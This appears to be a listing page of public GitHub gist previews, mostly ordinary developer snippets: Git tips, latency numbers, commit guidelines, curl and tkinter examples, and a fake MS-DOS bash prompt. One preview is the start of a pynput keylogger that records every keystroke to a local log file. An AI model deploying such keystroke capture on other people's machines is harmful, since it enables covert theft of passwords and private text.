hofmannsven

Git

Global Settings

• Related Setup: https://gist.github.com/hofmannsven/6814278
• Related Pro Tips: https://ochronus.com/git-tips-from-the-trenches/
• Interactive Beginners Tutorial: http://try.github.io/
• Git Cheatsheet by GitHub: https://services.github.com/on-demand/downloads/github-git-cheat-sheet/

Reminder

Press minus + shift + s and return to chop/fold long lines!

jboner

Latency Comparison Numbers (~2012)
----------------------------------
L1 cache reference                           0.5 ns
Branch mispredict                            5   ns
L2 cache reference                           7   ns                      14x L1 cache
Mutex lock/unlock                           25   ns
Main memory reference                      100   ns                      20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy             3,000   ns        3 us
Send 1K bytes over 1 Gbps network       10,000   ns       10 us
Read 4K randomly from SSD*             150,000   ns      150 us          ~1GB/sec SSD

robertpainsi

Commit Message Guidelines

Short (72 chars or less) summary

More detailed explanatory text. Wrap it to 72 characters. The blank
line separating the summary from the body is critical (unless you omit
the body entirely).

Write your commit message in the imperative: "Fix bug" and not "Fixed
bug" or "Fixes bug." This convention matches up with commit messages

cgcardona

$(document).ready(function (){
  // Get the image and canvas nodes
  var img = $('#original_image')[0];
  var canvas = $('#original_canvas')[0];

  // confirm that the image has loaded
  img.addEventListener("load", function() {
    // set the canvas dimensions
    canvas.width = img.width;
    canvas.height = img.height;

btoone

Introduction

An introduction to curl using GitHub's API.

The Basics

Makes a basic GET request to the specifed URI

curl https://api.github.com/users/caspyin

dsernst

git add . vs git add -A

Both of these will stage all files, including new files (which git commit -a misses) and deleted files.

The difference is that git add -A also stages files in higher directories that still belong to the same git repository. Here's an example:

/my-repo
  .git/
 subfolder/

ramalho

#!/usr/bin/env python3
import tkinter
from time import strftime

def tic():
    rel['text'] = strftime('%H:%M:%S')

def tac():
    tic()
    rel.after(1000, tac)

brentvollebregt

# From: https://github.com/moses-palmer/pynput
from pynput.keyboard import Key, Listener
import logging

log_dir = ""

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]')

def on_press(key):
    logging.info('"{0}"'.format(key))

mstijak

7z u Scripts.zip Scripts\*.sql -uq0

merces

#!/bin/bash
 
clear
 
while true; do
   read -p 'C:\>' cmd
   
   case $cmd in
      ver)
         echo -e "\nMS-DOS Version 6.22\n\n" ;;